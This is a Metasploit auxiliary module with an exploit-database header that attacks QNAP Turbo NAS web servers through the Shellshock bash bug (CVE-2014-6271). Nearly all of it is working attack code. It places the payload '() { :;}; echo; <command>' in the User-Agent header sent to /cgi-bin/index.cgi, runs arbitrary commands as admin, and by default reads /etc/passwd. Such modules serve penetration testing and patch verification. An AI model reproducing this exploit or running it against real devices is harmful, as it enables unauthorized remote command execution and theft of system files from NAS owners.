# Exploit Title: QNAP Web server remote code execution via Bash Environment Variable Code Injection
# Date: 7 February 2015
# Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
# Employer homepage: http://www.securegroup.it
# Vendor homepage: http://www.qnap.com
# Version: All Turbo NAS models except TS-100, TS-101, TS-200
# Tested on: TS-1279U-RP
# CVE : 2014-6271
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/d3vpp/metasploit-modules
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'QNAP Web server remote code execution via Bash Environment Variable Code Injection',
'Description' => %q{
This module allows you to inject unix command with the same user who runs the http service - admin - directly on the QNAP system.
Affected products:
All Turbo NAS models except TS-100, TS-101, TS-200
},
'Author' => ['Patrick Pellegrino'], # Metasploit module | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
'License' => MSF_LICENSE,
'References' => [
['CVE', '2014-6271'], #aka ShellShock
['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61']
],
'Platform' => ['unix']
))
register_options([
OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']),
OptString.new('CMD', [ true, 'The command to run', '/bin/cat /etc/passwd'])
], self.class)
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'agent' => "() { :;}; echo; /usr/bin/id"
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
vprint_error("Connection failed")
return Exploit::CheckCode::Unknown
end
if !res
return Exploit::CheckCode::Unknown
elsif res.code== 302 and res.body.include? 'uid'
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def run
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'agent' => "() { :;}; echo; #{datastore['CMD']}"
})
if res.body.empty?
print_error("No data found.")
elsif res.code== 302
print_status("#{rhost}:#{rport} - bash env variable injected")
puts " "
print_line(res.body)
end
end
end
